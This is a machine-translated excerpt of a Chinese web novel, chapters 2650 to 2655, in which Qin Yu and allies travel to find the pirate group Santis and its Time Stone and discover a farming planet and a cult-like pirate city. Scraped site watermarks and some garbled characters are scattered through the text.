    "Miss Qin, don''t laugh. You are the eldest of the Qin Group. You are in power and wealth. I am just an ordinary gangster. What can you ask me for?"


    Qin Yu did not directly answer Du Fan''s words, but looked at the desk aside.


    There is a pile of information on the table, which is the intelligence that Du Fan has collected.


    "Mr. Du is also looking for the stone of time and space?"


    Du Fan smiled awkwardly, "Just ask who isn''t looking for the Time Stone now? I''m just joining in the fun."


    Qin Yu went straight to the table and picked up the stack of materials, took a look at it, and then nodded approvingly.


    "Mr. Du is indeed an individual talent. The information is very clear and clear. Obviously, he has worked hard."


    Du Fan didn''t speak, because he knew Qin Yu must have something to say. She obviously didn''t come here to praise herself.


    really.


    I saw Qin Yu turning his head to look at Du Fan, "But does Mr. Du think that these can be used to find the Stone of Time and Space?"


    Du Fan was silent.


    Qin Yu smiled, "I believe you know in your heart that you want to find the stone of time and space with this little thing, it is tantamount to idiotic dreams! Because now not only you, but the powerhouses on the entire earth have already acted."


    "Under such fierce competition, even if there are clues, do you think you can get your turn?"


    Du Fan''s face became more and more difficult to look.


    This is indeed a problem that has always plagued him.


    "I said this is not to dampen your confidence. After all, this time I offered a huge reward, so I want to get the Stone of Time as soon as possible than anyone else. But the progress now is not optimistic, so I made it. a decision."


    "What decision?"


    Qin Yu looked at Du Fan and slowly said, "The earth is just this big, and two time-space stones have been excavated, and the chance of finding them is very small, so I decided to explore the outer space."


    Du Fan was shocked, Xuan even lowered his head and said: "This idea is good, but since Miss Qin has this idea, can''t she just go ahead and implement it? Why do you want to come to me?"


    Qin Yu stared at Du Fan, who looked a little unnatural, and smiled.


    "It seems that Mr. Du still distrusts me a little bit. After I have said so much, you must have guessed what you want to do!"


    Du Fan continued to shake his head, "I really don''t know what you are talking about. If there is nothing else, I will leave first."


    After all, Du Fan got up and wanted to leave.


    But at this moment, Qin Yu said indifferently: "I heard that Mr. Du had a cousin who was wanted by the Federal Security Office, and then disappeared. Is there such a thing?"


    Du Fan became stiff, and then forced a smile: "So what? Could it be that my cousin has committed a crime, and my cousin has to pay for it? Besides, now I don��t know where he has gone. It''s probably been a long time since I died."


    Qin Yu shook his head, "Of course it doesn''t mean that, but I heard that your cousin is not dead, but has taken refuge in the largest pirate group in the galaxy, Santis."


    As soon as the voice fell, Du Fan looked back suddenly, staring at Qin Yu fiercely.


    "What do you want to do?"


    At that moment, the gangster brother who had always wanted to climb up and washed away the black background finally revealed his original hideousness.


    But Qin Yu was not moved at all, and said lightly: "I want to cooperate with you!"


    "Cooperation?" Du Fan was taken aback, as if he didn''t expect Qin Yu to say so.


    "Yes, it''s cooperation!"


    Qin Yu stood up and said in a calm tone: "Because I have an exact piece of information about the Stone of Time and Space in my hand."


    Du Fanhuo was surprised and looked at Qin Yu in disbelief.


    Qin Yu smiled, "You don''t have to doubt the truth or falsehood of what I said. I will only ask you one question, do you have a cousin who has taken refuge in Santis?"


    Du Fan weighed it again and again, and finally nodded with difficulty: "That''s right!"


    "Very well, you are very frank, and what you need most for cooperation is frankness. I can also tell you my information now. There is a stone of time and space in Santis!"


    Du Fan opened his eyes wide.


    "You must think you can''t believe it, but I didn''t lie to you, because it was my grandpa who told me this information!"


    "Old man Qin?" Du Fan was startled.


    Qin Yu nodded, "Yes!"


    Then, through her narration, Du Fan understood what was going on.


    Qin Yuan was nearly killed by his nephew Qin Tian. Fortunately, Xue An rescued him. After recuperating later, he finally regained his energy.


    And when he heard that Xue An was looking for the Time Stone, this old man Qin suddenly thought of something.


    When he was in charge of the Qin Group, he had dealt with the pirate organization Santis.


    Later, he accidentally heard these pirates talk about the fact that there was a strange stone in the hands of their boss.


    At that time, Qin Yuan didn''t take this seriously. Later, the Qin Group decided not to expand its business externally, and the contact with Santis was also interrupted.


    Unexpectedly, the information I overheard today played a big role. UU reading www. uukanshu.com


    But the problem is that Santis is the most mysterious and powerful pirate organization in the entire galaxy.


    Among them are not only the human races on Earth, but also the exiles of many races or sects.


    These desperate people constitute the most murderous desperate organization in the galaxy.


    No one knows their specific whereabouts.


    Unless you have contact with the people inside.


    After listening to Qin Yu''s account, Du Fan finally realized it, and said a little bit, "So you thought of me?"


    Qin Yu nodded, "Yes, because your cousin has taken refuge in Santis, then there must be a connection between you and him, and only through you can you find the whereabouts of this organization."


    In order to facilitate the next reading, you can click "Favorites" below to record the reading record of this time (Chapter 2650 Cooperation), and you can see it next time you open the bookshelf!


    If you like "Invincible, Start with Daddy Xianzun", please recommend this book to your friends (QQ, blog, WeChat, etc.), thank you for your support! ()

 Chapter 2651： Clues appear

    Du Fan was silent.


    Qin Yu was not in a hurry, just waiting quietly on the side.


    After a long time, Du Fan sighed, "Well, I promise!"


    Qin Yu smiled, "You made a very wise choice."


    Du Fan didn''t have a lot of happy expressions. Instead, he said with a stern face: "I have to make one point first. Our cooperation belongs to cooperation, but this should not cause any harm to my cousin, otherwise I can stop at any time."


    Qin Yu nodded, "Don''t worry, I won''t interfere with anything between you and your cousin. You can communicate in a single line, as long as you can provide us with the exact coordinates of Santis."


    With that, she stretched out her hand to Du Fan again, "Thank you for your trust. From now on, we will be people on the same boat."


    Du Fan hesitated a little, but in the end he reached out and shook Qin Yu, and then asked with some hesitation.


    "Even if I can provide the exact location of Santis, how do you plan to destroy the other party? After all, it has been a pirate group that has been in the Milky Way for many years, and even the federal government has been helpless against it!"


    Qin Yu smiled slightly, "You don''t need to worry about this. Since I said that, it proves that I must be absolutely sure."


    On the way back, Qin Yu sat in the back of the car and buried her whole person in the wide seat.


    Seeing her tired face, the Black King repeatedly hesitated to speak, and finally couldn''t help but sigh.


    "Miss, you have worked so hard to plan for such a long time, just for a stone, is it really worth it?"


    Qin Yu chuckled, "You don''t understand, that is not just a stone, but also the hope of the entire Qin family''s rejuvenation."


    Speaking of this, Qin Yu''s eyes seemed to be burning with flames, and the roasted Black King couldn''t help but look sideways.


    "Since my grandfather became seriously ill, countless people thought that the Qin family was over. Those who usually greeted me with smiles changed their faces and wanted to wait to see my jokes. At that time, I thought, I must be strong."


    "It''s so strong that no one dares to despise me, but it''s easy to say, but how difficult it is to do it. If it weren''t for Mr. Xue''s rescue, maybe now Grandpa is dead, and Qin Tianye is already in power."


    "So I must seize this opportunity, even if this road is difficult to walk, I have to go down, because I am fed up with the feeling of man-made swords and fish-meat."


    After listening to Qin Yu''s words, the Black King was deeply shocked.


    He really didn''t expect that this eldest lady, who looked weak and weak, was so firm in her heart.


    For a moment, he couldn''t help but respect him.


    "I understand the eldest lady. After I go back, I will immediately finish the work at hand, and then I am ready to go!"


    Decrease BxWx. Unexpectedly, Qin Yu shook his head, "No, you don''t need to go this time!"


    The Black King was taken aback, "But if I don''t go, how can I deal with the Santis pirates?"


    The Black King is the powerhouse with the highest cultivation level in the Qin Group, so he has this question.


    "Don''t worry, someone will take care of this! On the contrary, it is you!"


    "Miss, please give orders."


    "During the time I left, the safety of the Qin Group has been given to you, especially the old man. You must protect him!"


    The black king''s complexion gradually became solemn, and he solemnly said, "Don''t worry, Miss, I will definitely live up to your request, and I will protect the old man every step of the way."


    At this moment, a phone ring rang.


    After Qin Yu connected, he first responded in a low voice, and then said softly: "We have already negotiated, you can leave at any time!"


    After a while, Qin Yu sat up straight, his eyes brightened, "Well, in that case, I will prepare immediately and leave tomorrow!"


    After hanging up the phone, Qin Yu was silent for a moment, and then said to the Black King: "Turn around, I want to go home first!"


    "Yes!"


    At the same time, on the other end of the phone, An Qing put down the phone and smiled at the opposite brother and sister.


    "Well, now things have been arranged, we can leave tomorrow!"


    The man nodded, "If that''s the case, then there is Lao An girl."


    "Mr. Yu is too polite. With you, Lingnan''s No. 1 Sword, we have the chance to win. A little hard work is worth nothing."


    The man smiled, "You can''t say the same thing. That Santis is a pirate gang that has been famous for many years. There are many powerful exiles among them. Even I don''t dare to win easily."


    "Mr. Yu is too polite. Who didn��t know that the Yu family suppressed Lingnan��s gas transport for 300 years with a sword in his hand, and now it has become the holy land of sword repair in the first district. As the first person in the younger generation of the Yu family, you really don��t have to Too humble."


    The man still wanted to say something, but the woman laughed, "Yes, brother, I think Miss Ann is right. Sometimes the excessive modesty is a kind of pride!"


    The man shook his head and chuckled.


    An Qing got up, "Since the negotiation has been finalized, then I will leave first, and I will meet again tomorrow!"


    After that, An Qing turned and left.


    The woman looked at her distant back and couldn''t help but say: "I can''t see that this Anjia daughter is so easy to talk. Isn''t there always rumors that this Anjia has always been extremely arrogant and domineering?"


    The man said indifferently: "Rumours are never completely believed."


    "Then do you say that we will succeed in searching for the Time Stone this time?"


    "I don''t know. Before reaching the last step, no one knows what the matter will be. But since An Qing dared to contact us, it proves that she must have some certainty. UU Reading "


    "Brother, to be honest, I still can''t understand until now, why do we have to look for this time and space stone?" The woman said with a pouting mouth.


    The man was startled slightly, and then sighed lightly: "You don''t understand, this time and space stone is a rare opportunity for us!"


    "Because of that boy in white?"


    The man nodded, "Yes!"


    "But I didn''t think he was so powerful. Although the sword slashed the Ten Thousand Ghosts, I think you should be able to do it if you make a move!" The woman was still a little unconvinced.


    The man didn''t excuse him, just a look of contemplation in his eyes.


    Sacrifice such as 75zhongwen.com sacrifice such as. Even though some time has passed, he still couldn''t help his heart tremble every time he thought of the scenes of that day.


    What a powerful sword intent is that!


    It was like a huge torch, burning in the endless night sky.


    Even Lingnan, which is far apart, can feel the aftermath of this sword intent for the first time.


    He was even more shocked.


    Because as a descendant of the Yu family who has been immersed in kendo since childhood and is praised as a genius by the world, he can understand the grandeur and majesty of this sword intent more deeply than anyone.


    Mi He Mi. This also made him deeply in awe.


    What kind of existence can cut out such a shocking sword?


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2652： Metaphysical probability

    This question prompted him to agree to An Qing''s invitation without hesitation.


    Because he wanted to know what kind of strength this mysterious boy in white has!


    And the Yu family''s senior executives are very in favor of his action.


    Not to mention anything else, as long as he can get close to the boy in white, then all the efforts are worth it.


    If he could get his favor and advice through this incident, it would be a huge opportunity for the entire Yu family.


    The next day.


    In a hidden launch site on the outskirts of Zhongdu, a brand-new void shuttle docked on the apron.


    When Qin Yu and Du Fan came here, the Void Shuttle was already full of energy.


    Du Fan was amazed at this.


    Because he really didn''t expect Qin Yu to have such hands and eyes open to the sky.


    This is the latest void shuttle!


    He had only seen it on TV before. It is said that even the military hasn''t configured it yet, but now he is here.


    But this kind of shock was nothing short of seeing An Qing and the brothers and sisters of the Yu family.


    "This...this..." Du Fan opened his mouth wide and looked at the pair of Yu family brothers and sisters in disbelief.


    Including Qin Yu also took a breath.


    Before, An Qing only said on the phone that she had invited a peerless master. At the time, she thought it was just An Qing''s exaggeration.


    I didn''t expect it to be true.


    And this man smiled slightly after seeing Qin Yu.


    "Hello Miss Qin, this is Yu Ming, I am glad to meet you!"


    That''s right!


    The man who appeared here is the direct descendant of the Yu family, and he is also the most well-known young Jian Xiu Yu Ming in the Yu family.


    And this woman is naturally his sister Yu Ran.


    Even in the timeline that has not been tampered with, Yu Ming is one of the few sword repair masters among the Chinese.���B��xwx.C��O*��


    It''s just that his light was all covered by Xue An.


    In this timeline, his reputation can be regarded as the first person among the younger generation.


    So even Du Fan could recognize him at a glance.


    However, after the shock, Qin Yu quickly adjusted his mentality and smiled slightly: "I didn''t expect Mr. Yu to come, so I can sit back and relax!"


    Yu Ming chuckled and shook his head, "Miss Qin said and laughed!"


    An Qing interrupted at this moment: "Okay, if you have anything to say after boarding the ship, I have just used the relationship to open up the door, and now I set off, until I leave the solar system, no one will stop me!"


    Everyone nodded, and then boarded the void shuttle.


    After a while, I saw this Void Shuttle shook slightly, and then spewed a faint blue flame from its tail.


    And at the moment when their group embarked on the journey, Zhang Tianyou on Mars finally built a probe telescope.


    In fact, if you follow the normal project schedule, it is impossible to be so fast, but Zhang Tianyou creatively merged several telescopes, so that such a grand project was completed in such a short period of time.


    Zhang Tianyou eagerly eagerly flexed his hands, "Well, everything is ready, I only owe Dongfeng, now it''s time to test the results!"


    With that, he gently pressed the start button.


    Hum!


    Accompanied by a buzzing sound, the huge telescope that was transformed into it began to slowly adjust its angle, and then aimed the lens at the distant deep space.


    Countless snowflake-shaped spots appeared on the huge oscilloscope screen, accompanied by many strange fluctuations that swirled and disappeared.


    "These snowflake-shaped spots are the background radiation of the universe. As for those fluctuations, they come from the magnetic field of life on the detection path!"


    Zhang Tianyou explained what he was operating on the computer while moving his fingers like flying.


    After a while, when Zhang Tianyou pressed the Enter key, all the snowflakes and abnormal fluctuations on the oscilloscope screen disappeared.


    "Well, I have shielded most of the interference, and then I will wait quietly, hoping that the result will satisfy you and me."


    As he said, Zhang Tianyou took out a fruit plate from nowhere, like a magic trick, and placed it in front of the oscilloscope screen, and then solemnly bowed his hands.


    This move aroused everyone''s curiosity. Sacrifice as 9bzw.com Sacrifice as


    Xiaosha, who had been standing behind Xue An looking around, couldn''t help but leaned forward to ask.


    "What are you doing?"


    Zhang Tianyou said with a serious face: "I am worshiping this telescope, and hope the results will come out as soon as possible."


    "But aren''t you a scientist? Why are you still so superstitious?" Xiaosha looked confused.


    Zhang Tianyou smiled, "Who said that scientists can''t be superstitious? And this is not superstition, but a kind of psychological comfort and sustenance! But you have to say that the effect of doing this is really better than not doing it."


    "I have done a trial for this purpose. If there is no worship, the test success rate is strictly in accordance with the statistical distribution, but if the worship is performed, the test success rate can be increased by one percentage point!"


    "Don''t underestimate this percentage point. In many cases, this percentage point can affect life and death! So I will stick to it."


    Zhang Tianyou talked freely, telling the metaphysical behavior in scientific experiments.


    At this moment, a tentacle quietly appeared behind him, rolled up the fruit plate on the table, UU read and then quietly walked out.


    When Xiao Sha saw this scene, the corners of her mouth twitched, but she didn''t laugh out loud.


    "Ahem, what if the worship is halfway? Isn''t it only increased by 0.5%?"


    "I really haven''t calculated this!"


    Speaking of this, Zhang Tianyou suddenly thought of something, turned his head and looked around, and then saw the empty experimental table.


    In the far corner, Zhang Xiaoyu was waving his tentacles and eating happily.


    Several black lines appeared on Zhang Tianyou''s forehead in an instant.


    "You..."


    "Now you have a chance to calculate!" Xiao Sha smiled.


    Zhang Tianyou was at a loss for them.


    Especially Zhang Xiaoyu, after she was released by Xue An, she was like crazy, causing trouble almost all the time.


    Xue An smiled at this scene.


    He also likes to watch Zhang Tianyou deflated.


    But at this moment, a harsh alarm sounded suddenly, and then a huge waveform appeared on the oscilloscope screen.


    Hu Ye was shocked, "Fuck, so fast?"


    Zhang Tianyou didn''t answer at all, but rushed to the front with a solemn expression. After another operation, a huge spot of light gradually appeared on the oscilloscope screen.


    The position of the light spot is exactly near the center of the Milky Way.


    Everyone looked at each other, and they all saw the excitement in each other''s eyes.


    Hu Ye breathed heavily, "What are you waiting for? Let''s set off now!"


    Xue An narrowed his eyes slightly, then looked at Zhang Tianyou.


    Zhang Tianyou nodded, "Sure, it should be it!"


    "If this is the case, then set off immediately!" Mi He Mi


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2653： Paddy planet

    After mastering the space-time shuttle technology, the Milky Way, previously regarded as an insurmountable moat, has now become a thoroughfare.


    Especially in the places where the stars are prosperous, merchant ships are in an endless stream, forming a commercial route.


    In this case, interstellar pirates came into being.


    Although the federal government has attacked several times, because these pirates are almost all desperadoes from all over the country, they have already figured out the routines of the federal government.


    In desperation, the Federal Government had to close one eye, and the merchant ships that came and went had no choice but to pay tribute for safety.


    In order to obtain long-term benefits, the pirates would not be too embarrassed by these merchant ships. They just collected fixed offerings to ensure a safe journey.


    In the long run, the pirates, the federal government, and the past chambers of commerce have formed a strange balance between the three.


    On the surface, the federal government will never recognize the legality of piracy, but in private, it will leave it alone.


    And these interstellar pirates will also take the initiative to discard some scrapped ships and materials in some routine encirclement and suppression operations, and cooperate with the federal government to perform a well-knowing play, which can be regarded as sufficient face for the federal government.


    As for these past chambers of commerce, they would never admit that they had surrendered to the pirates, it was just normal wear and tear along the way.


    It is precisely because of this special situation that led to the prosperity of interstellar pirates.


    But these interstellar pirates are not calm and monolithic.


    Driven by huge interests, these pirates have become very serious, and even on some prosperous commercial roads, there will be situations in which the principals are changed several times within a month.


    It was in this chaos that Santis was born, and with the momentum of destruction, he unified most of the trade routes in a very short period of time and became the well-deserved overlord of the interstellar pirates in the galaxy.


    ���]��. This almost magical speed of rise has made many people curious about the founder of Santis.


    Some people say that he is the most wanted criminal listed by the federal government as the top of the twelve mortal orders.


    Some people say that he is a top powerhouse from a hidden family.


    But no matter how the outside world rumors, the founder of Santis has always maintained a low-key silence, which also makes him more mysterious.


    Even now, the Federal Government does not know whether he is a man or a woman, and what his name is.


    And unlike other pirate groups, the rules of this Santis are extremely strict. It is difficult for ordinary people to join them, and they must undergo strict examination to be eligible.


    After joining, you must obey the management. No one is allowed to violate the rules, otherwise, there will be no amnesty.


    Under this semi-militarized management, Santis''s strength is flourishing, and it has become the number one pirate group in the galaxy.


    But let alone contact, most people don''t even know where they are.


    This is why Qin Yu has worked so hard to invite Du Fan to join in this matter.


    Because only he can know the whereabouts of Santis.


    Du Fan carefully drove the Void Shuttle, passing the stars quickly.


    Here has entered the central area of ??the Milky Way, where the density of stars is so great that even the void is illuminated.


    But the more such a place is, the more dangerous it is.


    Although long-distance interstellar travel is possible with the current level of technology on the earth, the universe is so vast, and various problems and troubles are simply endless.


    Often this road was fine the last time it passed, and it would have formed a space-time vortex when it came back next time.


    In this case, there are only a few paths that can pass large starships. This is the origin of the trade route.


    But now the void shuttle that Du Fan is driving is not a business road, but a path hidden among countless stars.


    Such a road is naturally extremely dangerous.


    Although the driving style of this Void Shuttle is no different from driving, and Du Fan''s driving skills are quite good, he still can''t help but sweat profusely after driving such a road.


    "How far is it?" Qin Yu couldn''t help but ask, standing aside.


    Sacrifice such as bxwx.co sacrifice such as. "It''s coming soon, my cousin told me that if he came to see him, he would just leave." Du Fan said.


    Yu Ran couldn''t help asking at this moment: "You are usually on the earth, and your cousin is a pirate in the galaxy. How do you usually get in touch?"


    Du Fan smiled, "We naturally have our way, and you shouldn''t think that pirates are just a group of barbarians wandering in the boundless space!"


    "Isn''t it?" Yu Ran asked curiously.


    Du Fan shook his head, "Not all, at least the Santis that we are about to deal with is not. On the contrary, these pirates are stronger than the regular army regardless of whether they are equipped or their own strength!"


    Yu Ran didn''t believe it, "Brother, is what he said is true?"


    Yu Ming nodded, "This Santis is indeed a big pirate gang that has risen to fame in recent years, and naturally has his merits!"


    "Hmph, that''s not as good as you."


    Yu Ran is obviously full of almost blind worship of his brother.


    Yu Ming just smiled faintly at this and didn''t say anything.


    At the same time, Du Fan suddenly said in a deep voice: "Sit firmly, the front should be here!"


    Words fall. UU Reading www.uukahnshu.com


    There was a slight tremor at the Void Shuttle under the feet, which was caused by the gravitational range of the stars.


    A planet began to appear in the porthole in front of him, and it expanded rapidly.


    In the blink of an eye, the whole picture of this planet appeared in front of everyone.


    This is a small planet, similar in size to the earth, but the color is a very dazzling yellow.


    The Void Shuttle quickly descended, penetrated the atmosphere, and entered the interior of the planet.


    Then the scene I saw stunned the people on the shuttle.


    I saw that the whole continent of this planet was covered by a kind of yellow plants, and when the breeze blew, these plants began to wave like ocean waves.


    It was not until the shuttle dropped to a certain height that people could see what these yellow plants were.


    "God! It''s rice! A whole planet of rice!" An Qing couldn''t help exclaiming.


    Although she is a wealthy daughter, An Qing is not a little fairy who does not eat fireworks. On the contrary, she has always been interested in agriculture and even has her own farm.


    So when she saw the scene in front of her, she couldn''t help being shocked.


    She knew exactly what the rice of a whole planet meant.


    Mi He Mi. Although the current level of science and technology on the earth has been able to artificially synthesize food, the food produced by natural agriculture is still an important resource that cannot be replaced.


    Therefore, after human beings have left the solar system, all planets with certain conditions will give priority to the development of agriculture.


    But the problem now is that they are here to find a famous pirate organization!


    And shouldn''t pirates be gangsters who rob houses, eat meat and drink alcohol?


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2654： Different pirates

    How can it be hooked on such an agricultural planet?


    Even Qin Yu couldn''t help asking: "Did you make a mistake?"


    "That''s right! The space-time coordinates on this are clearly written, how could I make a mistake?" Du Fan was also confused.


    Just as they were talking, they saw a small airship flying slowly from the distant sky, and a long white line was still dragging behind them.


    When I got closer, I found out, where is the white line!


    It is clearly the white mist sprayed from the tail of the spaceship.


    The spaceship flew slowly in front of everyone, and then an excited voice came from the communication radio station.


    "Cousin, is that you?"


    Du Fan took a deep breath and glanced to the left and right, "It''s my cousin Du Yi."


    Then he pressed the communication button and said solemnly: "It''s me!"


    "Great, since I learned that you are coming, I have been waiting for you here, wait a moment, and wait until I finish spraying the remaining potion!"


    One hour later.


    Qin Yu and others finally met Du Fan''s cousin in a building in the boundless rice field.


    Unlike what he had imagined, Du Yi was wearing a hidden blue overalls and white gloves. He looked like an ordinary farmer, not like a pirate at all.


    As soon as he saw Du Fan, he burst into laughter.


    "Cousin, I invited you several times before, but you refused to come. Why did you suddenly remember seeing me here?"


    Upon hearing this, Qin Yu, An Qing and others were all very tight, for fear that Du Fan would reveal the information again.


    But Du Fan was so astute, he didn''t even hesitate, and said half-truth: "Isn''t there too many things before I can''t get out of it? Recently, I finally have some time, so I will come and see you!"


    "Cut, what can you do? It''s nothing more than collecting protection fees door-to-door. It wasn''t me who said you. You shouldn''t hesitate when I invited you to join the gang before, because joining the gang was much easier than it is now! Alas, It''s too late to say anything!" Du Yi sighed.


    Du Fan didn''t want to continue this topic, so he raised his hand to the large paddy field in front of him, "What''s the matter? Are you not a pirate? Why did you run this kind of paddy field?"


    Du Yi slapped his thigh, "This is what I want to tell you. Do you know how good the welfare of those of us who joined the group in advance is? This planet was rewarded to me by the master, and he even planted the seeds of the land. Provided by the elderly!"


    "At that time, the master said that being a pirate is not a long-term solution. People must have a long-term plan. That''s why he suggested that I plant crops. How about it? I planted it well, right?" Du Yi said with a smile.


    Everyone opened their mouths wide, as if listening to a fairy tale.


    When did the pirate leader become a farmer who persuaded others to do good?


    "Why? Don''t believe it? I also tell you that I am still less, some joined early, made more contributions, gained more planets, and without exception, I have started various industries."


    "Some of them are engaged in planting, some are engaged in breeding, and some have even started processing factories. Not to mention, the sales of the products they have made are good!" Du Yi said eloquently.


    Everyone was even more bewildered.


    Why does it sound that Santis is not a group of pirates at all, but like a bunch of ordinary people struggling to make money?


    But soon, Qin Yu was the first to regain consciousness.


    It doesn''t matter if what Du Yi said is true or false.


    The top priority now is to quickly meet the head of the Santis, and then get the space-time stone from him.


    So she coughed lightly, as a reminder to Du Fan.


    Du Fan also gradually woke up at this time, and then patted Du Yi on the shoulder with great relief.


    "Yes, not bad, you really have changed a lot. I still remember that you didn''t want to do any work at the beginning!"


    "Hey, isn''t it because I was young and didn''t realize that labor is the most glorious thing!"


    The words that labor is the most glorious are spoken from a pirate, which itself is full of magical colors.


    Coupled with the clothes on his body and the rice field behind him, all made Qin Yu and others dumb. Sacrifice as xindingdianxsw.net


    At this time, Du Yi finally noticed Qin Yu and others, and couldn''t help asking: "Cousin, who are these people?"


    Du Fan smiled, "These are some of my friends, this time I came here to look for opportunities!"


    Du Yi suddenly realized, "Oh, I understand. It seems that they can''t be mixed on the earth!"


    Speaking of this, Du Yi looked at Qin Yu rather playfully, and then at Yu Ran and An Qing.


    "Tsk tusk, I didn''t expect that such a beautiful girl would actually do that kind of thing!"


    The words are full of regret.


    The three women were taken aback, Yu Ran still didn''t understand what they meant, but thought that Du Yi was talking weird.


    Qin Yu and An Qing both understood what it meant, and their faces were suddenly covered with black lines.


    But now is not the time to defend, so I can only keep my mouth shut.


    But they didn''t speak, but Du Yi reminded them "kindly".


    "Don''t blame me for not telling you. After going to the headquarters with me, don''t say that you are in that business, because the most annoying thing about our boss is betraying our own women!"


    Only then did Yu Ran understand what she meant, her face turned cold, and she was about to speak when she opened her mouth. Yu Ming on the side suddenly stopped her, and then shook her head at her.


    Looking at Du Yi''s back, Yu Ran stomped angrily.


    "Asshole, dare to say that grandma is that kind of mean woman, what a damn!"


    Yu Ming was never angry, but looked at Du Yi curiously.


    Because Du Yi didn''t look like a pirate at all from his first impression to his speech and behavior.


    You can even say that he is an ordinary person with a good heart.���B*xwx.co��


    In particular, his admiration for the great master made Yu Ming even more curious.


    What kind of character can tame a group of bloodthirsty thugs into this appearance?


    Soon after handling the head and tail, Du Yi piloted a dilapidated void shuttle to lead the way.


    After driving to the depths of the void for more than a day, the scene in front of me was finally no longer monotonous black, white and gray, but showed signs of artificial construction.


    And the further you go in, the more obvious this kind of trace becomes.


    When I walked to the innermost point, I saw the stars were transformed into a livable appearance, and many magnificent buildings were built on it.


    "This is your pirate headquarters?" Du Fan asked with a look of shock.


    "Yeah! Is there anything weird?" Du Yi said.


    Du Fan was silent.


    This is more than weird, he is going crazy, OK? Mi He Mi


    Because the prosperity in this pirate headquarters is even greater than that of the earth.


    For a while, Du Fan, Qin Yu and others all had an illusion.


    Who the **** is the evil mob?


    This feeling finally reached its peak after seeing the magnificent, prosperous and orderly city on the central star.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2655： Understand the applause

    "Wow, what a big city, it''s more prosperous than Lingnan!" Yu Ran said in surprise.


    As for the others, although they did not speak, the awe-inspiring color on their faces betrayed their true thoughts.


    Du Yi laughed, and said complacently: "Little girl, where is this place, you will be able to appreciate the greatness of this city even more after you enter it."


    really.


    When a group of people walked into the city, they found that it not only looked magnificent and magnificent on the surface, but also every detail inside it was carefully crafted.


    Even the bricks on the sidewalks are carefully polished, and they are exactly the same regardless of size or shape.


    how to say!


    This feeling is as if the city is not real, but is pinched out by an invisible giant hand, full of perfection that hardly exists in real life.


    Seeing this scene, Yu Ming couldn''t help frowning slightly, but said nothing.


    Du Yi enthusiastically introduced: "Did you see it? This is the city designed and built by our master, how about it? It''s pretty!"


    Yu Ran sighed sincerely, "It''s really beautiful, but why are there no people on the street?"


    "That''s because people are busy with their own affairs. The number of members of our Santis is fixed, so everyone has their own tasks. Usually, unless the master orders the convening, everyone is there. Do your own business."


    "Is it a pity that such a beautiful city is so empty?" Yu Ran said.


    "You don''t understand, our boss likes this feeling. In his old man''s words, what kind of figure is this called!" Du Yi introduced.


    At the same time, the group of them had already passed through the wide streets to the center of the city.


    Here stands a skyscraper, and the design is extremely avant-garde, full of post-modern beauty.


    Sacrifice such as xindingdianxsw.com. "This is the place where our boss usually lives, cousin, it is not easy for you to come here, don''t go back at all, do it with me, I will plead with the boss for you!"


    Don''t tell me, Du Fan really hesitated for a second.


    Because what he saw and heard along the way was a bit beyond his imagination.


    The depraved cousin who had done mischief on the earth at the beginning, now looks like a different person, and even has an agricultural planet of his own.


    That''s a planet that belongs entirely to itself!


    Imagine that I was desperately working hard for the protection of a street on the earth, but people have already begun to cultivate their own planet.


    This gap can hardly be calculated.


    At this moment, Qin Yu seemed to see Du Fan''s hesitation, and quickly coughed.


    That means you don''t forget our cooperation.


    But before Du Fan could speak, Du Yi had already said.


    "Oh, don''t cough, I know you are still there, don''t worry, this time I will make a plea to the master and try to keep you all!"


    Looking at Du Yi who was full of enthusiasm, everyone said: "..."


    Soon, Du Fan, Qin Yu and others walked into this building under Du Yi''s guidance, and no one blocked the whole process.


    The layout inside is the same as this city, luxurious and exquisite, but the hall is deserted and not popular at all.


    Everyone followed Du Yi onto the elevator.


    With a soft buzz, the elevator began to climb rapidly.


    The city outside the glass curtain wall gradually becomes smaller.


    At this time, Du Yi didn''t say anything abnormally, just looked at all this outside with pride.


    The kind that comes from the heart and is proud of it is in no way fake.


    Soon, the elevator stopped, and the moment the elevator door opened, the shouts rushing toward everyone almost thought that they had come to the wrong place.


    "On the noon on the day of hoeing, sweat dripped down the soil and came to Santis, and never suffered from it!"


    The shouts were uniform and full of passion.


    Qin Yu and An Qing looked at each other, and both saw the doubt in each other''s eyes.


    Because they didn''t even know what it meant.


    What they saw and heard along the way had confused the two of them.


    Because this Santis is not acting like a pirate group at all, but more like a company.


    Only Yu Ming suddenly sighed, and a conjecture in his heart was confirmed after hearing this slogan.


    At this time, Du Yi said to Du Fan enthusiastically: "Cousin, did you hear that, this is a new group of members who are in class, we just happened to be here, maybe we can still see a few high-level people!"


    Talking about Du Yi dragging Du Fan and walking inside.


    After walking through a long corridor, there is a huge conference room in front of you.


    ���]��. At this moment, the meeting room was very lively, the audience was crowded and crowded, and a well-dressed man was giving an impassioned lecture on the stage.


    "What is our Santis philosophy! Tell me now."


    "Mutual help and friendship, grow together!" The people in the audience shouted in unison.


    "Speak louder, I can''t hear it!"


    "Mutual help and friendship, grow together!"


    "Still can''t hear it, speak louder!"


    "Mutual help and friendship, grow together!"


    This time it was almost roaring, and the loudness was deafening.


    The man nodded in satisfaction, UU Reading "Very good, this is barely qualified, remember! I will ask your slogans in the future, you must use all your energy to shout out, because Everyone��s energy is deep in his heart."


    "Only when you shout out with all your strength can it be activated! If things go on like this, you will soon be able to advance, and then merge into our Santis from the soul level, understand the applause!"


    Wow!


    A wave of applause sounded like a tsunami, and everyone clapped with excitement. The faces that were once filled with cruelty and sin have only infinite piety and gratitude at this moment.


    The applause lasted for a full minute, and the man nodded in satisfaction and pressed his hand.


    The applause gradually stopped, and then the man smiled.


    "I know that you were all elites from all walks of life before, and each of you has your own unique past, and there are even small heroes, but now I just want to say that you were all **** in my mind!"


    Mi He Mi. "Totally rubbish, if it weren''t because the master wanted me to accept you and transform you, I might not even look at you!"


    "Because I disdain to waste my energy for people like you, but I have to listen to the master''s words, so I reluctantly became your mentor. After this period of transformation, now you can finally barely be able to. Call it qualified, at least it''s not **** anymore."


    Many people''s faces were filled with joy.


    But the man changed his words, "But do you think this is enough? No, this is just the beginning, because the true Saint Tis concept is a greatness that you can''t even imagine!"


